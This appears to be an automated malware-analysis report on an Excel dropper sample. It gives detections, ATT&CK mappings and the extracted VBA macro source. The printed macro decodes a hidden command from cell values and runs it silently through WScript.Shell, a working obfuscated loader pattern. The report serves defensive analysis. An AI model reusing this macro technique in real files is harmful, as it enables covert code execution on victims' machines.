MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The sample contains VBA macros that utilize WScript.Shell and CreateObject to execute commands. The macro attempts to construct a command string from constants and then execute it using the Shell() function, likely to download and run a second-stage payload. The ClamAV detection name 'Xls.Dropper.Agent-7784192-0' further supports its dropper functionality.
Heuristics 6
-
ClamAV: Xls.Dropper.Agent-7784192-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Dropper.Agent-7784192-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Private Sub rowss_Layout(ByVal Index As Long) On Error Resume Next: For Each h In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): g = 0: t = t + Chr(h + 1): Next h: WScript.Quit = ("" & CreateObject(("WScript.Shell")).Run(t, g, (g))): WScript.Quit: With ActiveSheet: .Protect: End With: Application.Wait (Now + TimeValue("0:00:05")): ActiveWorkbook.Close True: End End Sub -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Private Sub rowss_Layout(ByVal Index As Long) On Error Resume Next: For Each h In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): g = 0: t = t + Chr(h + 1): Next h: WScript.Quit = ("" & CreateObject(("WScript.Shell")).Run(t, g, (g))): WScript.Quit: With ActiveSheet: .Protect: End With: Application.Wait (Now + TimeValue("0:00:05")): ActiveWorkbook.Close True: End End Sub -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.w.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
- http://ns.adobe.com/xap/1.0/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1171 bytes |
SHA-256: 7b476268f8aa943e3ead458264139ff8b2eaf773af6518da0cb199446767deb8 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "rowss, 1, 0, MSForms, MultiPage"
Attribute VB_Control = "details1, 2, 1, MSForms, CommandButton"
Private Sub details1_Click()
rowss_Layout
End Sub
Private Sub rowss_Layout(ByVal Index As Long)
On Error Resume Next: For Each h In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): g = 0: t = t + Chr(h + 1): Next h: WScript.Quit = ("" & CreateObject(("WScript.Shell")).Run(t, g, (g))): WScript.Quit: With ActiveSheet: .Protect: End With: Application.Wait (Now + TimeValue("0:00:05")): ActiveWorkbook.Close True: End
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.